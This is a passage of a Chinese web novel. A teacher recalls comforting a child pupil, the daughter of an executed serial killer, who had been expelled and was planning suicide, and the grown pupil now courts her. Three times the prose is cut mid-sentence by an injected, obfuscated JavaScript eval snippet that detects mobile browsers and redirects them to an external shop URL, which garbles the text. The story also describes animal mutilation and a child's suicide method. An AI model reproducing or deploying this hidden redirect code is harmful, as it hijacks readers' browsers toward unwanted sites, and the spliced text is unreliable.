白鹭洲将伞靠在灰墙边,扫了池柚一眼,“这个时间,你应该睡觉才对。” 池柚:“我……我是要睡的,但突然停电了……” “跳闸了,我刚刚去扳好了。”白鹭洲推开自己的门,站在门边试着按了一下开关,屋里却没亮,“灯路系统太老,这灯泡应该被闪坏了,你那边估计也一样。今晚先将就睡吧,明天我再找人来修。” “我会修,不用将就!” 池柚忙道。 “只要家里有新的灯泡,我可以弄好。” “你会修这种东西?” 白鹭洲打量了一下眼前这个看起来根本就还是个小孩的人。 “看不出来啊,你还会什么?” 池柚说:“我什么都会的。我会修水管,修电路,通马桶和下水道,我还会洗那种沾了油或者血很难洗的衣服,我做饭也很好吃,家常菜向姥姥学了,其他菜系也都专门找师傅学了……拍虫子,喂宠物,擦地板……我都会!您能想到的我都会!” 她很认真地细数着,目光里有一点不好意思,但更多的是殷切与开心,脸上的笑也愈来愈明朗。 白鹭洲不自觉地跟着浅浅一笑,道:“看来这些年,你确实一直在努力学着做正常人。” 池柚使劲点头:“当然,老师教过的每件事,我都记着。” 每一件? ……怎么会有人能记得另一个人说过的每一件事呢。 池柚也只是挑了一件她能记得的,在此刻借由这话题讲了出来而已吧。追求者诉衷情时总是这样,喜欢夸大其词,喜欢矫饰苍白、假饰浪漫。 白鹭洲垂下眼睫,转过身,没有接池柚的话。只说: “我带你去拿灯泡。” 两个人沿着回廊走了一小截,先去关掉了总电闸,再从仓库里找来两个新灯泡。这里离白鹭洲的房间近一些,于是她们就先去那里修灯。 房间里黑得几乎伸手不见五指,迈进去,可以闻得一阵扑鼻而来的茶木香气。清雅恬淡极了,一轮吐息便可给大脑刺激出充足的多巴胺。 “好香啊。” 池柚耸着鼻子嗅出呼哧呼哧声。 因为雷雨天,刚才她们都将手机关了机。 黑暗中,白鹭洲摸索着点燃了门口桌边的一根蜡烛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992112|137123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蜡烛固定在小盘子里,她捏着盘子端起这盏光亮,找了找白炽灯的位置,然后拖着沉重的实木扶椅到屋中央。 “……到这儿来。”她发现池柚还在使劲呼吸,皱起眉,“不要这样,像小狗。” “哦。” 池柚马上停止,乖乖地爬上椅子。 “老师,您扶好我啊。” 白鹭洲:“这椅子很结实,不需要我扶。” 池柚:“可我看不清。” 白鹭洲:“我举高点。” 白鹭洲固执地不肯和池柚有身体接触,仿佛这道坎在她们之间万分重要。这是她们相处的底线,是她们的师生关系的兜底保证,绝不可以打破。 于是她选择扶向了椅背,另一只手举着蜡烛继续向上抬,让这微弱可怜的光尽量笼向白炽灯。 池柚从仓库带了两把小螺丝刀出来,她先用其中一把,另一把没地方放,便随意擦了擦手柄张口叼住。 光线很暗。 她操作得很艰难。她个子本就不高,即便是踩在凳子上也还是需要踮着脚尖。那盏蜡烛最高只能举到她的胸口,需要修理的灯泡位置还是一片昏暗,加上蜡烛燃烧的烟气,熏得她眼睛又涩又疼。 窗外暴雨如倾盆。 空气中的湿木头味和苦茶叶味又浓了一些。 深夜了,本就清冷的温度又降低了许多。 也不知道是不是手里这盏烛火的原因,白鹭洲却感觉到了一股温暖的热气。 可她很快就发现,她感觉到的暖意并不来源于烛火。因为蜡烛被她举得很高,而那苗火焰的热气是向上走的,它只熏到了池柚的眼睛。 她发觉,自己感受到的温度,来源于池柚的身体。 不知什么时候,为了尽量将蜡烛举得凑近灯泡,她已经和池柚离得这么近了。 她们还是没有任何实质性的碰触,但两个人之间的皮肤的最近距离,竟然只剩下两三厘米。 像无限接近的两条平行线。 你知道它们不会相交的,你也会极力控制它们不要相交的。 可太近了,近到气氛开始变得有一点奇怪,头脑也开始似有若无地混乱,竟糊涂到害怕起这世上的数学会作假、真理会推翻。 池柚出门时忘记穿上背带裤,现在身上只一件薄T恤,一条小短裤。 白鹭洲站在她旁边,甚至可以衬着光,透过短袖的袖口看见池柚里面穿的纯白色棉质内衣。 轻薄伏贴的面料,隐约穿过了湿木头与苦茶叶,透来一丝少女身上清甜的皂角香味。 池柚咬着螺丝刀,皱着眉继续努力修着灯。 她还不知道自己因为手抬得太高,T恤的下摆向上走了许多,露出的一截肚腹上已绷得渗出了汗。 难道这汗会隔着空气洒过来? 白鹭洲松开了椅背,别过头,悄悄摸了摸自己的额角。 果然那热潮气不是错觉。 她的手放下来时,指尖上已经蒙了一层湿润。 池柚拿下了咬在嘴里的螺丝刀,疑惑地“嗯?”了一声。 “老师,您在走神么?” 白鹭洲:“……” 池柚:“蜡烛快要烧到我的衣服了。” 白鹭洲应该在这个时候说一句“对不起”或者“抱歉”的。 以她的性子,一定要的。 可是这一秒,她只是抿紧了嘴唇,保持沉默。 11. 第 11 章·回忆 “对不起。” 白鹭洲犹豫良久,还是将这句致歉的话说出了口。 “这怎么能怪您呢?您已经很关照我们了,我还欠您一句谢谢呢。” 池秋婉将课桌上最后一本书收进小书包里,强撑起疲惫的眉眼,对白鹭洲客气地笑。 “之前您帮着照顾过很长一段时间的孩子,学校里也一直在帮助池柚,我听说,有一回您很严厉地要求一些欺负她的小男生在班会上对她公开道歉,这是以前的班主任从来没有替池柚争取过的。她这段时间也变得开朗了不少,性格也变好了很多,如果没有这次的事,如果……如果情况没有糟糕到这个地步,可能也不至于说退学……” 白鹭洲摇摇头。 “池柚没有做错什么,我不觉得她应该受影响被退学。我是她的老师,这次却一点忙也帮不上,我是该说声对不起。” 池秋婉:“真不知该说什么才好,白老师……” 白鹭洲:“希望你别有负担。如果我本应该帮到的事没帮到,或者本应该避免的事没避免,我都会觉得心里有愧,都会说对不起的。” 池秋婉感激地笑了笑。 白鹭洲送池秋婉到教学楼下。 分别时,她还是忍不住问起池柚:“池柚现在怎么样了?” 池秋婉叹了口气:“又变回了原来那个样子,不肯说话,也不笑。最近几天总是偷溜出家门,跑到她爸爸的墓地坐着,把她带回来,她又会找机会跑过去,来来回回没个头。” 白鹭洲说:“有什么需要我帮忙的,尽管来找我。” 池秋婉点头:“好,谢谢您。” 送走池秋婉,白鹭洲拄着手杖慢慢走回自己的办公室,一路沉思。 刚进办公室门槛,就听见班主任正和邻桌的代课老师咂舌聊天。 两个中年男人放下保温杯,拈起一片搪瓷茶杯盖,烟黄的牙缝里吐出茶渣子。 班主任:“我早就说过,这种小孩就不应该念正常的小学,她应该去找个残障学校之类的地方念书。” 代课老师摆摆手:“那也太极端了,人家好歹四肢健全呢。” 班主任:“难道心智残障就不属于残障?” 代课老师:“这么说,她应该先要送去精神病院治疗好才对,真是可怜啊……” “池柚的智商没有问题,她很聪明。” 白鹭洲忍不住打断代课老师。 “她也没有做过什么特别出格的事,她平时在学校已经活得很小心了。” 班主任道:“可是她有一个精神有问题的杀人犯亲爹啊!” 代课老师:“对啊,这种精神问题都会有点遗传的,事实证明也确实遗传了,池柚那样子根本就不是正常小孩的样子嘛。” 班主任:“不然这一次怎么会闹得全班学生家长联名上书要求学校开除她……” 代课老师:“就是。” …… 没有人知道,究竟是哪一个家长第一个发现孙金文的事情的。 孙金文—— 池柚的亲生父亲。 十年前,孙金文和池柚的母亲池秋婉相识。 那时,他们是在同一所大医院任职的同事。池秋婉是医院副院长的千金,孙金文是当时最年轻的外科主刀医师,二人的结合受尽周围人的祝福与艳羡。 似乎那几年,认识他们的朋友中没有人不向往着像他们一样般配的婚姻。 但就在池柚6岁那年,全副武装的警察却找上了家门,用枪指着孙金文的脑门将他粗鲁逮捕。 同年,法院以“连环杀人犯”的罪名直接将孙金文处以死刑,无缓期,无冤情。 天才和疯子,似乎总是隔着很薄的纸墙。 两口子都是拥有极高智商的翘楚。池秋婉一生为医疗事业呕心沥血,所有才能都贡献给救死扶伤。可孙金文却借助着医务工作者的便利,躲在阴暗的地下室里兴奋地抽搐着嘴角,剜下一片又一片连筋的无辜血肉。 孙金文没有精神疾病,他就是天生的变态,无可托辞的反社会人格。 宣判时他仍不怀生丝毫悔意,甚至面对“死刑”两个字都没有一点点的害怕,只说: “是你们的伦理条框太多了。我没有错,不过你们非要审判我的话,也无所谓。” 检察官:“难道你对那些被你亲手活剖的人一点点的愧疚之心都没有吗?” 孙金文满不在乎:“一堆肉而已,有什么好愧疚的。” 这就是池柚的父亲。 这样一个会令人后背发凉的可怕的人。 孙金文的过往被发现且掀开时,班级里的学生家长一片哗然。孩子们也像献宝似的,将池柚的那些奇奇怪怪的细节添油加醋讲给家长听。 恐慌情绪瞬间蔓延开来,大家仿佛在自己的孩子身边发现了一个埋伏已久的小变态杀人犯。 嚯。 这还得了。 第一天群内发起联名,第二天上书校长办公室,第三天找来媒体报纸以舆论相逼,第四天排排站在教室门口目送池柚滚蛋。 池柚真的没有做错过什么。 在学校里,即便她的性格显得有些孤僻,但她从未把她的“奇怪”带来这里,更不曾影响过别人。 可是池柚的“错”,或许也从来都不源于她本身。 “就是那个小孩吧……” “这就是那个小变态。” “还好走了,这种小孩也太危险了……” 前来督刑的家长们在教室门口,遮着嘴窃窃私语。 池柚背着书包离开时,走过讲台边白鹭洲的身前,脚步停下短暂的片刻。 她抬头看着白鹭洲,细细的眉毛皱着,眼底是如雨雾般无措的迷茫。 她轻声问白鹭洲: “老师,为什么我已经这么努力地学着做一个正常人了,还是不可以呢?” 不可以什么? 不可以留下?不可以被接受? 不可以带我一起踢毽子、跳皮筋?不可以对我笑,不可以接过我递给他们的薯片和棒棒糖? 池柚的语言能力还不足以说出这种种不甘。 她对这不愿接纳她的世界是如此的生疏,就连求教的一个问句,都是这般难以达意。 …… 那个眼神曾在白鹭洲的脑海里盘旋了很长很长的时间。 很长。 面对此刻班主任和代课老师的闲言碎语,白鹭洲不禁开口: “那些家长是因为担心自己的孩子,才说出那些糊涂话。赵老师许老师,你们作为老师,还不懂孩子无罪这个道理吗?就算议论,也应该议论她那个已经杀了人的爸爸,池柚又做了什么让你们这么说她?” 班主任和代课老师相视一笑,说:“果然是才实习的大学生啊。不是才踏入社会的年轻人,说不出这么正气凛然的话呢。” 代课老师:“哈哈哈哈,你也太认真了,小白。” 班主任:“她还不懂社畜的生活真谛呢,等她再大点就懂了。” 白鹭洲:“真谛?” “对啊。” 班主任盖上保温杯,将搪瓷盖里的茶渣抖进垃圾桶,漫不经心地说。 “咱们普通打工人的生活,就是兢兢业业打工,勤勤恳恳保自己的饭碗,茶余饭后时不时聊点八卦传闻,聊完就该干嘛去干嘛。八卦聊得正不正确、伟大的理念有没有打破,这些东西,早在大家刚工作那几年就已经学会不去多想了。” 白鹭洲:“那师德呢?” “什么师德?” 班主任不屑地摇摇头。 “这些东西年轻时头脑发发热就算了,一辈子都想着那些,累不累啊?” 代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992113|137123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课老师凑近白鹭洲,悄悄同她耳语。 “别太跟班主任杠,他可是要在你的考核表上打分的。你也知道,因为腿瘸不好过教资考试的事,你本来就已经不在这些实习生里占优势了……” “没关系。” 白鹭洲站了起来,从文件夹里抽出自己的实习表,撇在了班主任面前。 “这次实习我可以白来,教资我也可以明年再考。分数您现在就打吧,等您写完零分以后,我再开口骂人。” 班主任气得发笑:“你同学不是都说你的家教很好吗?怎么,之前都是装模作样,现在一言不合居然就要骂人?” “希望您理解,骂人不是因为真的想和您做这些无谓的口舌之争。” 白鹭洲面色平静道。 “我只是希望贵校能尽快将我开除。” 班主任:“什么?” 白鹭洲:“道不同,不相为谋。” . 三天后的一个夜里。 在焦头烂额地应付教授和辅导员的轮番轰炸时,白鹭洲忽然接到了池秋婉的来电。 池秋婉:“实在抱歉,我听说了您这几天的事,都是我们的原因影响了您。我本来没脸再来打扰您的,只是……” “别这么说,”白鹭洲停下手里的事,“是池柚出了什么事吗?” 池秋婉:“嗯。” …… 放下电话,白鹭洲起身穿外套,匆匆拿起桌边的拐杖和公寓钥匙。 她打开池秋婉发给她的定位,在路边拦了第一辆过来的出租车。 “北郊墓园,谢谢。” 司机向她确认:“大半夜去墓园吗?” 白鹭洲:“对。” 司机一边疑惑地嘀咕真奇怪,一边将车掉头了。 赶到墓园门口,白鹭洲一下车就看见了池秋婉。 池秋婉的头发有些乱,肩上随意地披了件毛衫,看得出是临时从床上爬起来的。 她忙走向白鹭洲,“孩子的姥姥和姥爷都睡下了,我只能一个人过来,这次实在是劝不动小柚子了,她的情况好吓人,我也不敢强制……” 白鹭洲:“你先在这儿等一等,我去看看。” 池秋婉含着泪:“谢谢,谢谢您。” 白鹭洲疾步走进墓园。 她平时宁可拄拐慢行也要尽力保持身形稳定,可此时她却像完全忘了这个“习惯”一样,手杖的落点紊乱,脚步也一深一浅地瘸了起来。 行至深处。 小道边的路灯愈来愈稀疏,树叶繁茂,在黑夜中投下一团一团的黑影。 月亮消失在层层叠叠的叶片后,所有的光好像也都追着月亮离开了。 白鹭洲走到小路尽头最后一盏路灯下时,终于看见了坐在森冷墓碑前的小池柚。 池柚缩成一团,脸色苍白,眼中满是沉甸甸的死气。 她抱着膝盖的双手脏兮兮的,沾满了不知是什么生物的鲜血。脚旁边是一堆被开膛破肚的动物,似乎有鸟,老鼠,还有什么大一点的,已经被剖得看不清形状了。 她就这么坐在尸体的环绕里,身边草叶簌簌垂低,野花枯颓。 池柚抬起头,看见了路灯下的白鹭洲。 那个高高的大人站在一道劈开黑夜的光里。 衣衫整洁,皮肤干净,睫毛都映着光的好看轮廓。 她们在漫山遍野里弥散着隐隐腐臭的夜风中,安静地对视。 一柱光,将这一幅画面生生撕裂成两部分。 花叶、古树、金属灯柱,都被渲染上了两种截然不同的色调。 白鹭洲站在光明中,美好得像精品店橱窗里摇一摇会飘雪的水晶球。 池柚沉默地坐在黑暗里。 她仿佛一个永远只能趴在橱窗边,对美丽水晶球始终都可望而不可触及的孤独流浪者。 12. 第 12 章·回忆 人身上会出现的最矛盾的特点是什么? 在索然平淡的前半生,白鹭洲对这个问题还没有确切的答案。 但遇到池柚之后,她觉得她似乎为这个哲学难题找到了一种解答方式。 父母的血无疑共同流进了池柚的身体。除了两个人冠绝众人的高智商之外,他们也为池柚的命运立下了完全背道而驰的风向标。 池秋婉的医者仁心。 孙金文的变态扭曲。 在他们的孩子诞生的那一刻起,他们二人满是差异的血液,就已开始撕扯起这个孩子的一生。 ——如果池柚只有池秋婉的基因,她便可以安心一头扎进纯粹的医者生涯,善良会是她唯一的本性。 她此生尽可以利用她的聪慧与学识,死骨更肉、触手生春,做一个会带来无数贡献的医学研究者,挺直腰背沐浴在所有人的称赞与爱戴中。 ——如果池柚只有孙金文的基因,起码她可以像孙金文一样沦为彻底的变态,不管法律和道德会怎样裁决她,她也能够平静淡然地面对一切。 就像孙金文临死前那样,至少,在自己的世界里是逻辑自洽的。 可池柚很不幸地各拥有了一半。 所以她残忍,嗜血。 可又善良,无辜。 她注定要一边划开血淋淋的筋肉,一边被自己的良知永无止境地痛苦地审判。 她注定是分裂的。 矛盾的。 自我怀疑的。 无法统一的。 在她的良知还没有被社会体系驯养成熟时,就会像现在这样。 她不懂自己身上发生的所有事,不懂自己究竟做错了什么,不懂为什么自己的人生才刚开始,就好像已经被全世界深恶痛绝地抛弃了。 因为不懂,所以走向崩溃。再分裂,质疑,歇斯底里,恶性循环。她的结局,似乎在开端时就已被谱写完成。 白鹭洲感觉自己都能一眼看到这片狼藉的收场画面。 可凭什么一个人的悲剧会从出生那一刻就被写定? 没有这样的道理。 不是吗? 白鹭洲从路灯的圆罩中走出,微微瘸着,不再像身处人群中时那般极力掩饰自己的腿脚问题,摇晃着走到池柚的面前。 “老师。”小池柚不确定地喊她。 白鹭洲来的路上走得太急,呼吸还有些不匀,轻声问:“怎么不回家?” 池柚:“老师,您还愿意来看我?” 她看起来好惊讶, 居然还会有除了家人之外的人找到这阴暗的角落,来看看她。 白鹭洲的心尖不由一痛。 她强压下情绪,又问:“你不回家,在这里做什么?”她眼神向下瞥,“为什么要这么做?” 小池柚看了看地上被剖得乱七八糟的动物尸体,沾满血污的手忙伸过去,把它们摆弄整齐。 “我就是……带点贡品来给爸爸,我看其他人来这里,不也带水果什么的……” 白鹭洲:“……” 这世上恐怕只有池柚会拿这些东西来做祭品。 不过,在众多平平无奇的祭品中,孙金文恐怕也就只喜欢池柚这一份。 池柚收拾到一只小麻雀,像是在捡起它的这一秒,她才注意到麻雀耷拉着的小脑袋。她忍不住举起它,端详了一小会儿。 “……好可爱。” 她由衷地夸赞,然后望向白鹭洲,静静的。 忽然,嘴角扯出一弧有些讨好的笑。 “如果我死了,您会带着这样可爱的贡品来看我吗?” 白鹭洲不置可否,反问道:“你准备什么时候死?” “……我不知道。”池柚低头,将麻雀摆在孙金文的墓碑前。 白鹭洲:“你知道‘死’意味着什么吗?” “……” 小池柚抿紧嘴唇,眼睛里瞬时蒙上了一层水雾,模糊地盖住深底里的痛苦。 她再开口,脸上牵强而苦涩的笑都消失,已经是哭着。 “意味着我可以不用再这么难过了,对不对,老师?” 白鹭洲蹲下去,将池柚拽了起来,环进自己的怀里。 她紧紧地抱住了池柚,微微颤抖着呼吸。 池柚在白鹭洲的怀抱中,也颤抖起来。 有一些话,池柚真的忍了很久了。她还这么小,能藏这么多心事,真的很不容易了。 于是在这仿佛能捂住她灵魂的一个拥抱中,她的嘴巴跟眼睛一起泄了洪,磕磕巴巴地、对白鹭洲说出了许多她从未和任何人提及过的酸苦。 她说,其实在白鹭洲来到云州三小之前,她就在默默地准备“死”这件事了,而且已经准备了很长时间。 她说她一直都觉得活着好累。 她打懂事起就发现自己已经沉陷在旁人异样的目光中,而她无论做什么努力,似乎都无法改变那些人的凝视。 那一双双眼睛,像极了走在漆黑夜路上时,树丛中一盏盏不会熄灭的萤萤鬼火。 于是后来,她会在妈妈不注意的时候偷偷溜出家门,在周围的街道来回转悠,找一些因车祸或其他意外死掉的小动物,剖出它们的肠子精心保存起来。 她想:等到肠子们可以结成一条绳子时,就用那条绳子吊死自己吧。 如果以后漫长的一生都需要这样度过,那不如,就在这里停下脚步。 可是—— 可是这伟大的计划还在筹备中,就遇见了白老师。 “老师,是除了妈妈、姥姥、姥爷之外,第一个愿意接近我,给我系鞋带,和我分享润喉糖和奶茶的陌生人。” 小池柚感受着白鹭洲环在她背后的臂弯温度,哭得整个人身子都抖。 “您让我突然觉得,活下去……活下去……是不是还有机会遇到更好的事情呢?今天是您愿意送我早餐奶,帮我系鞋带,明天,会不会有多一个人,愿意和我说说话,在我递给他薯片的时候,不要打翻薯片袋子,而是笑着和我说,谢谢你……” 她的口吻,完全就是一个最普通的小孩,在表达自己对一颗最普通的糖果的希冀。 “可是……” 池柚的呼吸乱到让她有点缺氧了。 “可是,我已经按您教的去做了,我很认真地去学习做正常人了,为什么……为什么……是不是我一开始就想错了?我不应该想要得到那么多,是不是?如果、我想要的再少一点……如果我只是希望,他们能允许我留在学校里,只要我能留下,哪怕继续对我恶作剧,继续叫我小变态,怎么样欺负我都没关系……” 说到这里,她的哭腔已经濒临溃堤。 “老师,您说,是不是如果那一次恶作剧的时候,没有让他们在班会上对我道歉,这一切……就会、就会不一样了……” 白鹭洲打断她:“池柚。” 池柚模模糊糊地答应:“嗯?” 白鹭洲:“我问你一个问题。” 白鹭洲拍了拍池柚的后背。 “如果——我是说如果。如果你很不喜欢吃小青菜的味道,觉得入口就恶心。但小青菜说它愿意被切碎,被捣烂,被碾轧成汁,随你喜欢怎么做,它都可以接受。可是这样,你就会突然喜欢上它的味道吗?” 池柚:“……” 白鹭洲:“不会的。如果你讨厌一样东西,是不会因为它愿意将自己切碎,就喜欢上它的。” 池柚胡乱擦了擦眼泪,想了一会儿。 她仍不解:“可是他们为什么从看我的第一眼就不喜欢我呢?他们都还没有认识我。我的意思是……就是……如果我是小青菜,他们都还没放进嘴里,就……” “人们的喜欢与不喜欢本就很莫名其妙。” 白鹭洲叹了口气。 “你要记得,以后也永远要记得:这世上,本就不是所有的鱼都生活在同一片海中。人与人之间难免会有许多的差异,喜恶当然也有。你也会有忍不住偏爱的东西、会有怎样都喜欢不起来的东西,这是再正常不过的事了,对吗?” “所以生为小青菜不是你的错,你做好一颗小青菜本来的样子就好。不要纠结有些人好像不太喜欢你,更不要切碎自己,不要丢掉自己的尊严。” 白鹭洲极力地用这样的比喻去试图和一个孩子传输: 盲目地责怪自己、鞭笞自己、甚至牺牲自己,真的抵达不了问题的终点。 池柚沉默了很久。 她又沉沉地小声嗫嚅: “可是,小青菜也会有人喜欢,为什么……好像根本就没有人喜欢我?” “不是这样的。” 白鹭洲垂下眼。 “除了那些就是看你不顺眼的人之外,还有很多盲从的不知情者。他们还没来得及看见真实的池柚,就冒冒失失地跟着做了那些选择。你知道的,大人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992114|137123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和不懂事的孩子们总是很浮躁,他们需要很长的时间。” 池柚皱着眉,努力地去理解这些话。 “是吗?” “嗯。” 白鹭洲点点头。 “所以你可以不可以再给其他人一个机会?” 池柚:“其他人?” 白鹭洲:“那些你还没有遇到的,会在你未来出现的人。新的同学,新的舍友,其他老师,其他朋友。” 池柚问道:“他们会像老师您一样,对我那么好吗?” 白鹭洲缓缓说:“我只知道,虽然你说我是第一个,但,我绝对不会是唯一的一个。” 池柚侧过脸。 她轻轻地眨眼,懵懂的眼瞳里映着白鹭洲近在咫尺的翘起的发丝。 它们正随着白鹭洲说话时的呼吸,柔软地起伏。 “你想想,等你再长大一点,念中学的时候,其他孩子们也成熟了一点。总有人会开始懂得在说话、做事的时候照顾一下别人的感受。你递出去的好吃的就会有人愿意收下,不仅会说谢谢,没准还会带更多好吃的送还给你。” 白鹭洲讲这些话时的语气,像是在给小孩念一本睡前的故事书。 “再长大一点,到念高中的时候,成熟的孩子就更多了。没准你也会遇到一两个跟你很像的人,他们不会觉得你奇怪,相反,他们会觉得你太厉害了。不用你拿零食讨好他们,他们也会主动来找你玩,求你教他们写作业,改错题。别人欺负你的时候,还有人会主动站出来说:这样是不对的。” “就算高中的时候没有这样的人,等熬到大学,怎样都会有了。大学里的人是小学、初中、高中的十几倍,五湖四海的人聚集在那里,什么性格的人都有。而且他们更懂事了。他们不会像小孩子那样,随随便便就去欺凌一个人。总有人愿意耐心地接近你,了解你,在长久的宿舍生活里,慢慢地知道你是怎样的人。他们可能还会觉得你太可爱了,成年人那么复杂的世界里,你是那么那么纯粹的人。如果是我遇见像你这样的舍友,一定也喜欢得不得了。” “你也一定会遇到和我一样好,甚至比我更好的老师。这世界上人那么多,不可能全都是懒惰又傲慢的人。他们或许不会为你系鞋带,但他们会给你更重要的指引,带着你走向最适合你的那条路。在那条路上,你可以尽情地做所有你喜欢做的事。那时候你就会明白,没有生下来就‘错’的人,只有没有放对位置的天才。” 白鹭洲:“会出现的,这些所有能够对你抱有善意的人。” 池柚:“……” 白鹭洲:“所以,等等他们吧。” 池柚问:“他们真的会出现?” 白鹭洲:“会的。” 池柚:“不是骗我吗?” 白鹭洲:“我是大人,大人和小孩子这么认真地讲话时,不会骗人。” 池柚想了很久很久。 她偏着头,年幼的眼睛里已经隐隐破土出零星的开化。她还不明白这点改变对她来说意味着什么,可她能感觉到,她的内心好像没有之前那么那么腐坏了。 她甚至开心。 甚至,也开始学会了一点点的期待。 她第一次,有一点想要去看看那个白鹭洲口中的“未来”。 “既然是老师您说的,我就……相信一次吧。” 池柚擦干净了脸上的眼泪,对着白鹭洲小心翼翼地笑。 没擦干的泪痕还在小小的脸颊上,让她看起来像一只刚从垃圾堆里被捡起来的旧玩偶。开了线,掉了色,破抹布般烂碎而脏污。但还好在那一双未被污染的眼睛中,透出了难能可贵的生机。 听到池柚这句话的这一刻,白鹭洲才松开了紧绷已久的那口气。 她的后背不知何时已全部汗湿,夜风拂来,满身的寒意久久不能消散。 没有人知道,在今天之前,她一个人独处的时候,曾在心里和池柚说了无数次的对不起。 对不起。 作为你的老师,却无法庇护好你。 对不起。 那一天,我能做的最强硬的事,也只是辞去那个对于学校来说无关痛痒的职位。 然而她身为一个“老师”的愧疚,好像终于在听到池柚点头说愿意相信她的时候,平了些许。 …… 在这场注定要淋透你一生的大雨中,至少,我曾为你点燃过一盏雨雾里的烛光。 13. 第 13 章 “好啦,不用老师说对不起了。” 池柚看着白鹭洲那张明显憋着什么话的脸,大度地说。 “我又没什么事。” 白鹭洲依旧沉默。 窗外的大雨还在下,伴着轰隆雷声,雨点密密麻麻地砸在院落的石砖地上,像一海的豆子倒下来,落地便融化为湿泥。 白鹭洲手中的烛光隐隐跳动,映得墙面忽明忽暗。 这小小的房间里除了原先的苦茶香味之外,也不知不觉地混进了许多雨水和树木泥土的味道,清新得令人五感通透。 池柚见白鹭洲一直没有回应,主动用指尖捻起胸口那一块布料给白鹭洲看,以示自己的安全。 “真没事,你看,老师您的蜡烛根本没碰到我,只差一点点、一点点挨上而已。” 白鹭洲转移开话题:“灯泡修好了么?” 池柚“嗯”了一声,“已经拧上了,我们去打开电闸看看亮不亮。” 白鹭洲:“好。” 她们去扳开了电闸,回来又试了一下。 滋啦一声微小的电流响。 下一秒,灯泡真的正常亮了起来。 池柚长舒一口气,抹了抹额角的汗,笑着说:“还好还好,没有在老师面前丢人。” 白鹭洲点点头,难得地赞许:“不错。” 池柚有点惊讶:“您在夸我?” 白鹭洲:“……只是单纯地夸你的维修技术。” 池柚:“那也是夸呀。” 白鹭洲看着池柚单纯到有些憨傻的笑脸,忽然觉得,那抹笑有些刺痛了她心底里的某部分。 她不是不希望看到池柚笑。 只是…… 她应该给9岁的池柚带来萌生希望的笑,却不应该给现在追求她的池柚带来任何有期待的笑。 烛火虽能引路,可燃烧完它的使命后,就该被掐灭了。 有的时候,掐灭一盏光明,是为了让对方在这片黑暗中看见另一处的光明。否则池柚该怎么走出去,看见真正值得她去喜欢的其他人? 错误就是要被修正的。 只是或早或晚而已。 “回去睡觉吧。” 白鹭洲打开了走廊的灯,瞥了眼池柚房间的方向。 “早点睡,明天也早点起。吃完一碗甜豆花,就回学校去。” 池柚乖乖应下:“好。” 白鹭洲:“回去了,就再也不要回来。” 池柚正要转身的动作一顿。 “我下午和你在院子里讲的那些话,都是我一直以来想认真告诉你的真心话,我不想你过耳就忘,我希望你能好好想一想那些话的意思。郑重地、用心地去想。” 白鹭洲的嘴唇濡抿片刻。 “想明白了,就好好地,去过自己的日子吧。” 池柚脸上还没散去的笑凝固在唇角,白鹭洲的这句话进入耳朵后,似乎过了很久很久才抵达她的大脑。 她的身体在本能地拒绝去接收这句话,可那一个字、一个字,又如墨水渗透宣纸般浸入了她的所有理智中。 白鹭洲没有给池柚回应的时间,她回了房间,关上门,将池柚一个人留在了门外。 关掉灯。 在暗下来的房间里,白鹭洲吹灭了手里那苗火焰。 她曾点燃,如今又熄灭,却始终都是为了引路罢了。 . 第二天,天放晴了。 一夜的大雨冲刷过后,院子里的每一块鹅卵石都被洗得圆润发亮。太阳刺破重云投下光来,金灿灿的光穿过已经开始泛黄的石榴叶,一缕一缕地挂在枝丫间。 池柚起床时很早。或者她也谈不上起床,因为她基本彻夜未眠。 她去到主厅的时候,桌上已经摆了一些小菜和油饼。 靠近桌一侧的边上放着小小一碗甜豆花。用青瓷碗装起来的,细密的蓝青纹路兜着雪白的豆花,一勺浇在正中间的米醪糟像小堆的雪丘,上面落满密密的干桂花。 白碧英从厨房走出来,正巧和池柚打了个照面。 “池同学醒啦。” 白碧英在围裙上擦去手背的水珠,对池柚温和地笑。 “酱油没了,洲洲她去前面的菜市场帮我买,估计一会儿就回来了。她说等你吃完饭会开车送你回你的学校去,来,先来吃饭吧。” 白碧英招呼过后,就回厨房去看她的开水了。 厨房不大。厨具和各种调料瓶挺多,但都井井有条地摆放好。 油烟机还在运转,发出低沉的嗡嗡声。 铝壶的盖被顶出喀嚓声,壶嘴冒出腾腾热气,发出隐隐哨声。 白碧英用抹布垫着铝壶把手,有点费力地拎起来,给凉水壶倒满,又分别给李恩生的茶壶和两个保温壶倒上。 等倒完,她又添一壶新水继续烧。然后站在灶边,细细捻些茶叶,向茶壶里慢慢洒。 